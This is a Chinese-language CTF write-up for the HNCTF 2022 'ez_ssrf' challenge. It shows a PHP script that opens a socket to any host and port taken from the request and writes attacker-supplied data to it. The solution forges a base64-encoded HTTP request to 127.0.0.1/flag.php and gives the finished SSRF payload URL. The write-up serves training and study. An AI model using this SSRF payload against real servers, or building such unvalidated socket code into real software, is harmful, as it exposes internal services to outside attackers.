[HNCTF 2022 WEEK2]ez_ssrf
<?php
highlight_file(__FILE__);
error_reporting(0);
$data=base64_decode($_GET['data']);
$host=$_GET['host'];
$port=$_GET['port'];
$fp=fsockopen($host,intval($port),$error,$errstr,30);
if(!$fp) {
die();
}
else {
fwrite($fp,$data);
while(!feof($data))
{
echo fgets($fp,128);
}
fclose($fp);
}
这段代码接受通过 GET 请求传递的参数,并使用 fsockopen()
函数建立与指定主机和端口的 socket 连接。然后,它将传入的 base64 编码的数据解码,并将数据写入到连接的 socket 中。接下来,在循环中,它从连接中读取返回的响应数据,并将其输出到浏览器。
请注意,这段代码存在一些安全风险:
- 没有对输入参数进行任何验证和过滤。这可能导致安全漏洞,如远程命令执行和代码注入攻击,请务必加以验证和过滤用户输入。
- 关闭
error_reporting
,这会隐藏任何可能的错误信息,使得调试和错误处理变得困难,建议在开发和测试阶段启用错误报告以及适当的错误处理。
建议对该代码进行改进和增强,以提高安全性和代码可靠性。
** fsockopen()
函数是用于建立一个 socket 连接。该函数的参数包括:
$host
:要连接的主机名或 IP 地址。intval($port)
:要连接的端口号,其中intval()
函数将端口号转换为整数。$error
:一个传入参数,用于获取错误代码(如果有错误发生)。$errstr
:一个传入参数,用于获取错误描述信息(如果有错误发生)。30
:超时时间,以秒为单位。****
题解
首先本地构造一个文件,让他跳转到127.0.0.1,用来伪造请求
<?php
$out = "GET /flag.php HTTP/1.1\r\n";
$out .= "Host: 127.0.0.1\r\n";
$out .= "Connection: Keep-Alive\r\n\r\n";
echo $out;
echo base64_encode($out)
?>
我要将这一段信息通过fwrite写进我们的会话中的,这些就是请求头
GET / HTTP/1.1
Host: www.wrox.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.6)
Gecko/20050225 Firefox/1.0.1
Connection: Keep-Alive
手写一个127.0.0.1的请求头格式,base64编码一下就好
playload:?host=127.0.0.1&port=80&data=R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg==